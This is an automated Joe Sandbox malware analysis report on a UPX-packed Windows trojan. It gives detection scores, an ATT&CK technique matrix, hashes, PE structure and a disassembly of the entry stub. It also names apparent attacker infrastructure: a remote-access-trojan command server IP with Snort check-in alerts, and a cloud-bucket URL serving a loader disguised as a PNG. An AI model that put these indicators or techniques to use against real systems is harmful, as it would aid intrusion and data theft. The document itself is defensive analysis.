Source: Yara match	File source: 00000000.00000003.3181505839.000001CFBA0AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4113319605.000001CFBA310000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2IVWAPeiZm.exe PID: 7272, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	11 Native API	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Abuse Elevation Control Mechanism	121 Input Capture	2 System Time Discovery	Remote Services	11 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Obfuscated Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	1 Screen Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Access Token Manipulation	1 Software Packing	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	121 Input Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	211 Process Injection	1 DLL Side-Loading	NTDS	16 System Information Discovery	Distributed Component Object Model	2 Clipboard Data	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	1 Query Registry	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Modify Registry	Cached Domain Credentials	31 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Virtualization/Sandbox Evasion	DCSync	1 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	211 Process Injection	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Indicator Removal	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2IVWAPeiZm.exe	58%	ReversingLabs	Win64.Trojan.CrypterX
2IVWAPeiZm.exe	60%	Virustotal		Browse
2IVWAPeiZm.exe	100%	Avira	HEUR/AGEN.1317284

Source	Detection	Scanner	Label	Link
gz.file.myqcloud.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://pattern-1326658104.cos.ap-guangzhou.myqcloud.com/	0%	Avira URL Cloud	safe
https://www.remobjects.com/ps	0%	Avira URL Cloud	safe
https://pattern-1326658104.cos.ap-guangzhou.myqcloud.com/eX	0%	Avira URL Cloud	safe
https://pattern-1326658104.cos.ap-guangzhou.myqcloud.com/any.pngvector	0%	Avira URL Cloud	safe
http://www.wofficebox.com/	0%	Avira URL Cloud	safe
https://www.innosetup.com/	0%	Avira URL Cloud	safe
https://pattern-1326658104.cos.ap-guangzhou.myqcloud.com/any.png	0%	Avira URL Cloud	safe
https://pattern-1326658104.cos.ap-guangzhou.myqcloud.com/any.png	0%	Virustotal		Browse
http://www.wofficebox.com/	0%	Virustotal		Browse
https://www.remobjects.com/ps	0%	Virustotal		Browse
https://www.innosetup.com/	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
gz.file.myqcloud.com	159.75.57.35	true	false	0%, Virustotal, Browse	unknown
pattern-1326658104.cos.ap-guangzhou.myqcloud.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://pattern-1326658104.cos.ap-guangzhou.myqcloud.com/any.png	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://pattern-1326658104.cos.ap-guangzhou.myqcloud.com/eX	2IVWAPeiZm.exe, 00000000.00000002.4111407796.000001CFB747C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.wofficebox.com/	2IVWAPeiZm.exe, 00000000.00000002.4113640461.00007FF6F636B000.00000040.00000001.01000000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://pattern-1326658104.cos.ap-guangzhou.myqcloud.com/	2IVWAPeiZm.exe, 00000000.00000002.4111407796.000001CFB747C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pattern-1326658104.cos.ap-guangzhou.myqcloud.com/any.pngvector	2IVWAPeiZm.exe, 00000000.00000002.4113640461.00007FF6F6081000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://www.remobjects.com/ps	2IVWAPeiZm.exe, 00000000.00000002.4113640461.00007FF6F6089000.00000040.00000001.01000000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.innosetup.com/	2IVWAPeiZm.exe, 00000000.00000002.4113640461.00007FF6F6089000.00000040.00000001.01000000.00000003.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
206.238.115.146	unknown	United States		174	COGENT-174US	true
159.75.57.35	gz.file.myqcloud.com	China		1257	TELE2EU	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1467970
Start date and time:	2024-07-05 07:32:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2IVWAPeiZm.exe renamed because original name is a hash value
Original Sample Name:	06592a8ca068935d98a5ada152e3393d.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/2@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 66 Number of non-executed functions: 209
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:33:43	API Interceptor	5619166x Sleep call for process: 2IVWAPeiZm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
159.75.57.35	#U75c5#U6bd2#U67e5#U6740#U5de5#U5177.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gz.file.myqcloud.com	#U75c5#U6bd2#U67e5#U6740#U5de5#U5177.exe	Get hash	malicious	Unknown	Browse	159.75.57.36
	#U75c5#U6bd2#U67e5#U6740#U5de5#U5177.exe	Get hash	malicious	Unknown	Browse	159.75.57.35
	dllhostpgd.exe	Get hash	malicious	CobaltStrike	Browse	159.75.57.69
	dllhostpgd.exe	Get hash	malicious	CobaltStrike	Browse	159.75.57.69
	buding.exe	Get hash	malicious	Unknown	Browse	159.75.57.69
	Q6UkPxz1Bk.exe	Get hash	malicious	Unknown	Browse	159.75.57.69
	Q6UkPxz1Bk.exe	Get hash	malicious	Unknown	Browse	159.75.57.69
	#U8d85#U7ea7#U6587#U672cTXT.exe	Get hash	malicious	AsyncRAT, DcRat, VenomRAT	Browse	159.75.57.36
	HZ8Y6MTW1L.exe	Get hash	malicious	Unknown	Browse	159.75.57.69
	https://fxx922022webapps930-1312962597.cos.ap-guangzhou.myqcloud.com/fx.htm#junruh@greendotcorp.com	Get hash	malicious	Unknown	Browse	159.75.57.36

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
COGENT-174US	PTT Group project - Quotation.exe	Get hash	malicious	FormBook	Browse	38.47.232.224
	adobe_scanner12.exe	Get hash	malicious	FormBook	Browse	38.47.232.185
	ScanPDF_102.exe	Get hash	malicious	FormBook	Browse	38.55.194.30
	https://nmg.evlink21.net/	Get hash	malicious	Unknown	Browse	154.59.122.79
	205.185.124.50-arm-2024-07-03T23_47_53.elf	Get hash	malicious	Mirai, Moobot	Browse	154.39.121.31
	205.185.124.50-x86-2024-07-03T23_47_55.elf	Get hash	malicious	Mirai, Moobot	Browse	154.42.40.250
	CMgd5ZVG2N.elf	Get hash	malicious	Unknown	Browse	38.245.242.130
	qS7rA9kvqg.elf	Get hash	malicious	Unknown	Browse	160.238.102.21
	PMcyGpR57k.elf	Get hash	malicious	Unknown	Browse	38.210.131.180
	buPdHWwrzF.elf	Get hash	malicious	Unknown	Browse	38.14.1.248
TELE2EU	q9WhhN00yY.elf	Get hash	malicious	Unknown	Browse	90.130.240.6
	jew.arm.elf	Get hash	malicious	Unknown	Browse	37.198.247.136
	lQC7IiMNX1.elf	Get hash	malicious	Mirai	Browse	193.234.24.255
	2T9ShVKj85.elf	Get hash	malicious	Mirai	Browse	90.139.46.165
	h1dNV0rAcX.elf	Get hash	malicious	Mirai	Browse	83.184.232.22
	AAMwAy8pB7.elf	Get hash	malicious	Mirai, Moobot	Browse	37.2.41.226
	BNd5XPrLzR.elf	Get hash	malicious	Mirai, Moobot	Browse	159.72.219.22
	BviOG97ArX.elf	Get hash	malicious	Mirai, Moobot	Browse	90.133.104.26
	grxpiPs2Fw.elf	Get hash	malicious	Mirai, Moobot	Browse	83.183.88.85
	pk5zYdkgga.elf	Get hash	malicious	Mirai, Moobot	Browse	193.217.123.228

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	poMkNYHDU3.exe	Get hash	malicious	Remcos	Browse	159.75.57.35
	SecuriteInfo.com.FileRepMalware.1111.23697.exe	Get hash	malicious	Unknown	Browse	159.75.57.35
	lem.exe	Get hash	malicious	Vidar	Browse	159.75.57.35
	file.exe	Get hash	malicious	Vidar	Browse	159.75.57.35
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	159.75.57.35
	5gO02Ijl9V.exe	Get hash	malicious	GuLoader	Browse	159.75.57.35
	ooXgr5BYnA.exe	Get hash	malicious	GuLoader, Lokibot	Browse	159.75.57.35
	7Bkd5ILk1o.exe	Get hash	malicious	GuLoader, Lokibot	Browse	159.75.57.35
	oFNtjcXGVB.exe	Get hash	malicious	FormBook, GuLoader	Browse	159.75.57.35
	Co0Wd0QVRU.exe	Get hash	malicious	Remcos, GuLoader	Browse	159.75.57.35

Process:	C:\Users\user\Desktop\2IVWAPeiZm.exe
File Type:	PNG image data, 1468 x 1027, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1107015
Entropy (8bit):	7.986890293651004
Encrypted:	false
SSDEEP:	24576:v1Ua6MOTSFoan3mshuAg2hPgAeLwaz5jLgrpqsey4vHlvX/M+XIcckqx:ua6MOTg3mt2hIA4wk5jUlq1y4PpE+XIT
MD5:	C5497A158A878995BB05025560DDAEC2
SHA1:	03428561F384B78B5109E2D318EE7AF0C5E8DA68
SHA-256:	A2657071C7C03990291739C0581E4A2863EBE49270C3CA6E3D2D7438EDEBA920
SHA-512:	584439B18CF9519F3DA5E820482CB412BEEF376B5A6C8D02757B24D04EAE060E6CE11E23E3D7C2CF780C21EBA3C3D85A40D2FD4E707DD4E3F80EF0E246F1A129
Malicious:	false
Yara Hits:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: C:\Users\Public\Pictures\any.png, Author: unknown
Reputation:	low
Preview:	.PNG........IHDR.............#.z.....pHYs...%...%.IR$.....tEXtSoftware.Snipaste]..... .IDATx...n$..$.Tk..i......i...R.g.I....MF3'3..}......I:...k...?...~?.....8..<___..l.=??..q....{.v..q....{.="".........{?.#..Oq.p_ooo..!...z.%..........Y-.p.'h....y........y............'........S........LN.o....?........o..#..[k.'....f.<#"...)..yJ.~..8.Z.K.v.%. .?1.....v....s....\|{{..OOO..-.....s.h.y.Ihb........d...$....L...Z..n.....-m-....Z..../FI.-....d.$.B..d[.{...."...'&.SLn.{.c.....o...n.6.Qi.........v...........r..nh.$'[.!..qc.....n...m......T.....3..}.2....!!........H...x{{{....n?~.H.~...T...."...^.L.........8..e/iS..JO..DO.c.Az...c..bA..f..65..6.@9.../>...+]}.~r......%....t...P.:9..U?c6..I..<..(OOO.........O....O.A.&.3....@.O...{..T....6....o..Y....A4A...&\|....].1..G...I..........;"..~.h...9....e.08w................$"..x.Os8.H!J+j...>..3.........0I.....F-...py}}M..C.....N.N..Tm.=.k...qg...#.....D.]....DA6.8..u.p.....tT..!..;M.@~...<.L...!.D.F)...$&.E..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\any[1].png

Download File

Process:	C:\Users\user\Desktop\2IVWAPeiZm.exe
File Type:	PNG image data, 1468 x 1027, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1107015
Entropy (8bit):	7.986890293651004
Encrypted:	false
SSDEEP:	24576:v1Ua6MOTSFoan3mshuAg2hPgAeLwaz5jLgrpqsey4vHlvX/M+XIcckqx:ua6MOTg3mt2hIA4wk5jUlq1y4PpE+XIT
MD5:	C5497A158A878995BB05025560DDAEC2
SHA1:	03428561F384B78B5109E2D318EE7AF0C5E8DA68
SHA-256:	A2657071C7C03990291739C0581E4A2863EBE49270C3CA6E3D2D7438EDEBA920
SHA-512:	584439B18CF9519F3DA5E820482CB412BEEF376B5A6C8D02757B24D04EAE060E6CE11E23E3D7C2CF780C21EBA3C3D85A40D2FD4E707DD4E3F80EF0E246F1A129
Malicious:	false
Yara Hits:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\any[1].png, Author: unknown
Reputation:	low
Preview:	.PNG........IHDR.............#.z.....pHYs...%...%.IR$.....tEXtSoftware.Snipaste]..... .IDATx...n$..$.Tk..i......i...R.g.I....MF3'3..}......I:...k...?...~?.....8..<___..l.=??..q....{.v..q....{.="".........{?.#..Oq.p_ooo..!...z.%..........Y-.p.'h....y........y............'........S........LN.o....?........o..#..[k.'....f.<#"...)..yJ.~..8.Z.K.v.%. .?1.....v....s....\|{{..OOO..-.....s.h.y.Ihb........d...$....L...Z..n.....-m-....Z..../FI.-....d.$.B..d[.{...."...'&.SLn.{.c.....o...n.6.Qi.........v...........r..nh.$'[.!..qc.....n...m......T.....3..}.2....!!........H...x{{{....n?~.H.~...T...."...^.L.........8..e/iS..JO..DO.c.Az...c..bA..f..65..6.@9.../>...+]}.~r......%....t...P.:9..U?c6..I..<..(OOO.........O....O.A.&.3....@.O...{..T....6....o..Y....A4A...&\|....].1..G...I..........;"..~.h...9....e.08w................$"..x.Os8.H!J+j...>..3.........0I.....F-...py}}M..C.....N.N..Tm.=.k...qg...#.....D.]....DA6.8..u.p.....tT..!..;M.@~...<.L...!.D.F)...$&.E..

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.937300315648467
TrID:	Win64 Executable GUI (202006/5) 81.26% UPX compressed Win32 Executable (30571/9) 12.30% Win64 Executable (generic) (12005/4) 4.83% Generic Win/DOS Executable (2004/3) 0.81% DOS Executable Generic (2002/1) 0.81%
File name:	2IVWAPeiZm.exe
File size:	11'845'632 bytes
MD5:	06592a8ca068935d98a5ada152e3393d
SHA1:	41adfa7ad17a0842b62b227b37ea4778fe7d247d
SHA256:	acce6a3f4a8de7b556e74279744466adf4ec318a9fc03c639cdbc7f47c60da0d
SHA512:	3d365860047c0b50a5d4d47e4bc081dfdd138045f847af764daaa24bc5f00edcce1051a028aba82ff9feb757511c30e27b1202e39bf503913aae0404eb77e30c
SSDEEP:	196608:nQvu0707Woow7L3XW0GDB8Zm6Y5Ao6YrRR7EDzrFa8vXGb1HOZp/tWIIe/kUCzUb:nN0707b4B2m6Y5Ao6GR7+hZ2b1HkmKbz
TLSH:	BFC6336489B24096F05CFC35C1399DF69531AFB972DCE01E0E98BAE034FADE5A04C91B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;T...5.U.5.U.5.UvMcUs5.U...T{5.U...Tu5.U...Te5.U...Ty5.U4M.Tz5.U.5.U.5.Ul..T~5.Ul..U~5.U.5gU~5.Ul..T~5.URich.5.U........PE..d..

File Icon


Icon Hash:	11e4d4d2d2c4e451

Static PE Info

General

Entrypoint:	0x141bcf3f0
Entrypoint Section:	UPX1
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66791980 [Mon Jun 24 07:00:16 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	53880e0e758436150751a6d80bd6a537

Entrypoint Preview

Instruction
push ebx
push esi
push edi
push ebp
dec eax
lea esi, dword ptr [FF4CEC05h]
dec eax
lea edi, dword ptr [esi-0109D000h]
push edi
xor ebx, ebx
xor ecx, ecx
dec eax
or ebp, FFFFFFFFh
call 00007F64F0B1AA25h
add ebx, ebx
je 00007F64F0B1A9D4h
rep ret
mov ebx, dword ptr [esi]
dec eax
sub esi, FFFFFFFCh
adc ebx, ebx
mov dl, byte ptr [esi]
rep ret
dec eax
lea eax, dword ptr [edi+ebp]
cmp ecx, 05h
mov dl, byte ptr [eax]
jbe 00007F64F0B1A9F3h
dec eax
cmp ebp, FFFFFFFCh
jnbe 00007F64F0B1A9EDh
sub ecx, 04h
mov edx, dword ptr [eax]
dec eax
add eax, 04h
sub ecx, 04h
mov dword ptr [edi], edx
dec eax
lea edi, dword ptr [edi+04h]
jnc 00007F64F0B1A9C1h
add ecx, 04h
mov dl, byte ptr [eax]
je 00007F64F0B1A9E2h
dec eax
inc eax
mov byte ptr [edi], dl
sub ecx, 01h
mov dl, byte ptr [eax]
dec eax
lea edi, dword ptr [edi+01h]
jne 00007F64F0B1A9C2h
rep ret
cld
inc ecx
pop ebx
jmp 00007F64F0B1A9DAh
dec eax
inc esi
mov byte ptr [edi], dl
dec eax
inc edi
mov dl, byte ptr [esi]
add ebx, ebx
jne 00007F64F0B1A9DCh
mov ebx, dword ptr [esi]
dec eax
sub esi, FFFFFFFCh
adc ebx, ebx
mov dl, byte ptr [esi]
jc 00007F64F0B1A9B8h
lea eax, dword ptr [ecx+01h]
jmp 00007F64F0B1A9D9h
dec eax
inc ecx
call ebx
adc eax, eax
inc ecx
call ebx
adc eax, eax
add ebx, ebx
jne 00007F64F0B1A9DCh
mov ebx, dword ptr [esi]
dec eax
sub esi, FFFFFFFCh
adc ebx, ebx
mov dl, byte ptr [esi]
jnc 00007F64F0B1A9B6h
sub eax, 03h
jc 00007F64F0B1A9EBh
shl eax, 08h
movzx edx, dl
or eax, edx
dec eax
inc esi
xor eax, FFFFFFFFh
je 00007F64F0B1AA2Ah
sar eax, 1

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1be9efc	0x394	.rsrc
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1bd0000	0x19efc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xa000	0x54c	UPX0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1bea290	0x1c	.rsrc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1bcf660	0x140	UPX1
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0x109d000	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX1	0x109e000	0xb32000	0xb31800	ad0fc76477b2538272647cd74e93ea9e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1bd0000	0x1b000	0x1a400	5ed7e331e59de464c4f1ccb0081d5ce9	False	0.07168898809523809	data	5.111993796583546	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
ADOBE	0x71ed50	0x1492ff0	empty	Chinese	China	0
MSC	0x306750	0x418600	empty	Chinese	China	0
UNINS000	0xb2f0	0x2fb45f	empty	Chinese	China	0
RT_ICON	0x1bd02f4	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	Chinese	China	0.038950668401750856
RT_ICON	0x1be0b20	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	Chinese	China	0.0805452865064695
RT_ICON	0x1be5fac	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Chinese	China	0.11203319502074689
RT_ICON	0x1be8558	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Chinese	China	0.1625234521575985
RT_ICON	0x1be9604	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Chinese	China	0.34397163120567376
RT_GROUP_ICON	0x1be9a70	0x4c	data	Chinese	China	0.8157894736842105
RT_VERSION	0x1be9ac0	0x2b8	COM executable for DOS	Chinese	China	0.4813218390804598
RT_MANIFEST	0x1be9d7c	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
api-ms-win-crt-filesystem-l1-1-0.dll	_lock_file
api-ms-win-crt-heap-l1-1-0.dll	free
api-ms-win-crt-locale-l1-1-0.dll	_configthreadlocale
api-ms-win-crt-math-l1-1-0.dll	__setusermatherr
api-ms-win-crt-runtime-l1-1-0.dll	exit
api-ms-win-crt-stdio-l1-1-0.dll	fgetc
KERNEL32.DLL	LoadLibraryA, ExitProcess, GetProcAddress, VirtualProtect
MSVCP140.dll	??1_Lockit@std@@QEAA@XZ
VCRUNTIME140.dll	memset
VCRUNTIME140_1.dll	__CxxFrameHandler4
WININET.dll	InternetOpenW

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/05/24-07:33:08.224440	TCP	2052875	ET TROJAN Anonymous RAT CnC Checkin	49731	6666	192.168.2.4	206.238.115.146
07/05/24-07:35:32.860010	TCP	2052875	ET TROJAN Anonymous RAT CnC Checkin	49741	6666	192.168.2.4	206.238.115.146
07/05/24-07:36:35.724322	TCP	2052875	ET TROJAN Anonymous RAT CnC Checkin	49744	8888	192.168.2.4	206.238.115.146
07/05/24-07:34:21.149333	TCP	2052875	ET TROJAN Anonymous RAT CnC Checkin	49732	6666	192.168.2.4	206.238.115.146

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 5, 2024 07:33:02.806615114 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:02.806674004 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:02.806744099 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:02.816004992 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:02.816026926 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:04.121081114 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:04.121207952 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:04.122019053 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:04.122216940 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:04.540115118 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:04.540153027 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:04.540457010 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:04.540535927 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:04.542411089 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:04.588500023 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:04.949336052 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:04.949352980 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:04.949393988 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:04.949562073 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:04.949577093 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:04.949630022 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.031039953 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.031148911 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.031161070 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.031222105 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.032598972 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.032663107 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.032697916 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.032705069 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.032742977 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.036003113 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.036082983 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.036091089 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.036135912 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.037962914 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.038034916 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.038043022 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.038081884 CEST	49730	443	192.168.2.4	159.75.57.35
